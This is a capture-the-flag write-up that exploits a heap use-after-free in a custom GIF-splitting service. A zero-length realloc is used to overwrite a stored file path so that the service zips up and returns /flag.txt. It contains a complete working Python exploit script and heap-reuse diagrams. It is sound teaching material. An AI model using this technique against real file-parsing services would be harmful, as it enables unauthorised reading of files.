CASCADA GIF Splitter Writeup
This challenge exposed a GIF processing service over HTTP. The goal was to retrieve
the contents of /flag.txt. A custom GIF library contained a heap bug
that could be turned into an arbitrary file read through the server's zip output.
1. Challenge Setup
The provided leak contained two important parts:
- An Nginx module that accepted uploads at
/gif. - A custom shared library,
chall.so, that parsed the uploaded GIF and split its frames.
The Dockerfile also showed that the target file was present at /flag.txt
inside the container and readable by the process.
COPY src/flag.txt /flag.txt
RUN chmod 444 /flag.txt
That immediately suggested a useful target: if the parser bug could be converted into
a file read primitive, /flag.txt was the obvious file to steal.
2. Initial Triage
The web frontend looked like a file upload form, but the JavaScript actually sent raw
GIF bytes with Content-Type: application/octet-stream. That detail mattered.
const response = await fetch('/gif', {
method: 'POST',
headers: {
'Content-Type': 'application/octet-stream',
},
body: binaryData,
});
In the Nginx module, the request body was concatenated and passed directly into
dump_frames(buf->pos, total_size). There was no multipart parsing,
no file wrapper, and no server-side metadata prepended to the upload.
So the parser expected byte zero of the request body to be the GIF header itself.
3. Parser Analysis
Reversing chall.so showed a simple home-grown GIF parser. The high-level flow was:
- Create a temporary directory under
/tmp/<uuid>/. - Parse the GIF header and optional global color table.
- Iterate over extensions and image descriptors.
- Dump each frame as
GIF_FRAME%d.gif. - Zip all collected frame file names into
out.zip.
The bundled seed file confirmed the intended format: a small GIF89a animated GIF
with a global color table, a NETSCAPE2.0 application extension, and repeated
Graphic Control Extension + Image Descriptor frame blocks.
The image parser only supported a single LZW data sub-block per frame. That meant the safest exploit input was a very small, parser-friendly animated GIF.
Relevant internal flow
The control flow inside the library was effectively:
dump_frames(buffer, size):
dirname = create_dir()
header = parse_gif_header(...)
for frame_index in range(32):
rc = parse_gif_extension_blocks(...)
if rc == 1:
break // trailer reached
if rc == 0:
filename = dump_frame_to_file(...)
FILENAMES[frame_index] = filename
else:
error
return zip_files(dirname, frame_count)
The parser used a cursor structure over the original upload buffer. The header parser consumed the GIF signature, logical screen descriptor, and optional global color table. The extension parser then advanced until it reached either:
0x2c, indicating an image descriptor and therefore a frame, or0x3b, indicating the trailer and the end of the GIF.
Every time the code found an image descriptor, it called dump_frame_to_file, which created
a standalone output GIF consisting of:
- the original GIF header and global color table,
- the most recent graphics control extension if present,
- the current frame image descriptor and image data,
- a final
0x3btrailer byte.
4. The Bug
Fuzzing data bundled with the leak already contained a saved crash. Running the crash case locally showed:
free(): double free detected in tcache 2
The root cause was in the logic around parse_image_data. The function stored a pointer
to the compressed image block and resized it with realloc(old_ptr, block_size).
What happens when block_size == 0
On glibc, realloc(ptr, 0) frees the chunk and returns NULL.
The parser did not handle that state correctly. It freed the old chunk, but later logic still
treated the stale pointer as if it were safe to reuse.
This created a stale-pointer / use-after-free condition. The visible symptom was a later double free, but the exploitable part was that the freed heap chunk could be reclaimed by another allocation before the stale pointer was used again.
Why this happens at the C level
The parser stored image data inside a frame-like structure. In simplified form, the logic was:
frame->image_data = realloc(frame->image_data, block_size);
if (!frame->image_data) {
perror("realloc");
return -1;
}
read_from_buffer(..., frame->image_data, block_size);
That is already unsafe if block_size can be zero. On glibc,
realloc(ptr, 0) is allowed to behave like free(ptr) and return NULL.
After that:
- the old chunk is gone from the allocator's point of view,
- the code treats the result as an allocation failure,
- other state still assumes the old buffer relationship is meaningful,
- the same size class can be immediately recycled by a later
malloc.
This is the core exploit primitive: force a free through realloc(ptr, 0), then make the program
allocate something security-sensitive into the same chunk, then drive a stale write into it.
5. Exploit Strategy
The key observation came from the frame dumping function:
filename = malloc(...);
strcpy(filename, "/tmp/.../GIF_FRAME%d.gif");
parse_image_data(...);
open(filename, O_WRONLY | ...);
FILENAMES[idx] = filename;
The filename buffer was allocated before the parser touched the next frame's image data.
That made the exploitation path very clean:
- Allocate an
image_datachunk of a chosen size in frame 1. - Free that same chunk with
realloc(ptr, 0)in frame 2. - Let the program allocate
filenamefor frame 3, reusing the freed heap chunk. - Use the stale pointer during frame 3 parsing to overwrite the contents of that chunk.
- Replace the original file name with
/flag.txt.
At that point, the frame output path no longer pointed to a temporary GIF file. It pointed to the flag file instead.
6. Payload Layout
The final GIF contained three frames and stayed well within the server's size limits.
Frame 1
A normal tiny frame with image block size 0x39. This allocated the heap chunk that would later
be recycled.
Frame 2
Another valid frame, but with image block size 0. This triggered
realloc(ptr, 0), freeing the chunk and leaving the parser in a stale-pointer state.
Frame 3
When the program allocated filename for this frame, the allocator reused the freed chunk.
Then the stale pointer path wrote controlled bytes into that memory, replacing the original
/tmp/.../GIF_FRAME2.gif string with /flag.txt.
The overwrite payload looked conceptually like this:
b"/flag.txt\x00" + b"B" * (0x39 - len("/flag.txt") - 1)
The trailing null byte was critical because it terminated the file path cleanly.
7. Heap Reuse Mechanics
The exploit only works if the freed image-data chunk and the later filename allocation land in the
same allocator size class. The chosen block size, 0x39, was selected so that this happens reliably
with glibc's small-chunk allocator behavior in the challenge environment.
The sequence is:
- Frame 1 allocates
image_datawith length0x39. - Frame 2 calls
realloc(old_ptr, 0), which frees that chunk. - Frame 3 allocates
filenamewithmalloc(strlen("/tmp/<uuid>/GIF_FRAME2.gif")+1). - The allocator reuses the recently freed chunk for the new file-name string.
- The parser later performs the stale image-data write into the same memory region.
At that moment, the file-name buffer and the stale image-data buffer alias the same heap memory. Writing image bytes now rewrites the path string.
Before frame 2:
[ image_data chunk ] -> "AAAA...."
After realloc(ptr, 0):
[ freed chunk in tcache ]
After frame 3 filename malloc:
[ filename chunk ] -> "/tmp/.../GIF_FRAME2.gif"
After stale write:
[ filename chunk ] -> "/flag.txt\x00BBBB..."
This is not a generic heap spray. It is a precise chunk recycling attack using allocator locality. The exploit is deterministic because the program structure naturally produces the required allocation/free/allocation order.
8. Why This Produces a File Read
The frame-writing step itself tried to open the overwritten path using write flags. That failed for
/flag.txt, which was fine. The important part happened later:
zip_source_file(zip, FILENAMES[i], 0, 0);
zip_file_add(zip, basename(FILENAMES[i]), source, ...);
The zip code used the stored path as a source file. If that path had been corrupted to
/flag.txt, libzip simply read the real file and added it to the archive under the name
flag.txt.
In other words, the service exfiltrated the flag for us in its own response.
Full Exploit Script
This is the full Python script used to retrieve the flag from the live service.
#!/usr/bin/env python3
import io
import struct
import sys
import urllib.request
import zipfile
URL = "https://undutmaning-cascada-gif-splitter.chals.io/gif"
TARGET_PATH = b"/flag.txt"
BLOCK_SIZE = 0x39
def frame(block_size: int, data: bytes, with_gce: bool = True) -> bytes:
out = bytearray()
if with_gce:
out += bytes([0x21, 0xF9, 0x04, 0x08, 0x0A, 0x00, 0x00, 0x00])
out += bytes([0x2C])
out += struct.pack("<HHHHB", 0, 0, 1, 1, 0)
out += bytes([0x08, block_size])
out += data
if block_size != 0:
out += b"\\x00"
return bytes(out)
def build_payload(target_path: bytes) -> bytes:
if len(target_path) + 1 > BLOCK_SIZE:
raise ValueError("target path is too long for the chosen chunk size")
header = bytearray(b"GIF89a")
header += struct.pack("<HHBBB", 1, 1, 0x81, 0, 0)
header += bytes([0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF])
header += bytes([0x21, 0xFF, 0x0B]) + b"NETSCAPE2.0" + bytes([0x03, 0x01, 0x00, 0x00, 0x00])
first = frame(BLOCK_SIZE, b"A" * BLOCK_SIZE)
second = frame(0, b"") + b"\\x00"
overwrite = target_path + b"\\x00" + b"B" * (BLOCK_SIZE - len(target_path) - 1)
third = frame(BLOCK_SIZE, overwrite)
return bytes(header + first + second + third + b"\\x3B")
def post_gif(url: str, gif_data: bytes) -> bytes:
req = urllib.request.Request(
url,
data=gif_data,
headers={"Content-Type": "application/octet-stream"},
method="POST",
)
with urllib.request.urlopen(req, timeout=30) as resp:
return resp.read()
def main() -> int:
url = sys.argv[1] if len(sys.argv) > 1 else URL
gif_data = build_payload(TARGET_PATH)
zip_data = post_gif(url, gif_data)
print(f"response bytes: {len(zip_data)}")
zf = zipfile.ZipFile(io.BytesIO(zip_data))
names = zf.namelist()
print("entries:", names)
for name in names:
data = zf.read(name)
print(f"\\n== {name} ==")
try:
print(data.decode())
except UnicodeDecodeError:
print(data)
return 0
if __name__ == "__main__":
raise SystemExit(main())
9. Script Breakdown
The script is intentionally small because the exploitation path is narrow and highly structured. Every part of it maps directly to a parser property discovered during reversing.
BLOCK_SIZE = 0x39
This size was chosen to make the frame 1 image-data chunk and the later frame 3 file-name allocation compatible in the allocator. Changing it can break the heap reuse and make the exploit unreliable.
frame()
This helper emits one parser-friendly frame:
- A valid graphics control extension.
- An image descriptor for a tiny 1x1 frame.
- LZW minimum code size
0x08. - Exactly one GIF data sub-block.
- A trailing
0x00block terminator when the block is non-empty.
The image parser in this challenge does not correctly implement full GIF sub-block parsing, so the exploit keeps the format as simple as possible.
build_payload()
This function builds the entire animated GIF:
- Create a valid
GIF89aheader. - Add a tiny global color table.
- Add a
NETSCAPE2.0application extension to resemble a normal animated GIF. - Append frame 1, which allocates the target heap chunk.
- Append frame 2, which frees the chunk through
realloc(ptr, 0). - Append frame 3, whose block data overwrites the future
filenamebuffer with/flag.txt.
The extra b"\\x00" after frame 2 is there to keep the outer parser aligned after the zero-sized block.
Without careful byte-level control here, the GIF walker falls out of sync.
post_gif()
This function sends the crafted GIF as a raw request body. That matches the front-end's actual behavior and the server's expectation.
Response handling
The service returns a zip archive. The script opens it in-memory and prints every entry. In the successful exploit run, those entries were:
['GIF_FRAME0.gif', 'flag.txt']
That is exactly what we want. The first frame is legitimate output. The second entry proves that one of the stored file paths was successfully redirected to the real flag file on disk.
10. Result
Running the exploit against the live service returned a zip archive with two entries:
entries: ['GIF_FRAME0.gif', 'flag.txt']
The second entry contained the real flag:
undut{!!!inspir3rad_av__CVE-2019-11932}
11. Step-by-Step Recap
- Inspect the leaked files and identify the web endpoint, the Nginx module, and the custom parser.
- Confirm that the upload is raw GIF data, not multipart form data.
- Reverse
chall.soand understand the frame extraction flow. - Use the bundled fuzzing crash to narrow the bug down to heap misuse around
realloc(ptr, 0). - Notice that frame file names are allocated before parsing the next image block.
- Free an image-data chunk in one frame and reclaim it as a
filenamechunk in the next. - Overwrite the recycled file name with
/flag.txt. - Let the service zip that path and return the flag in the response archive.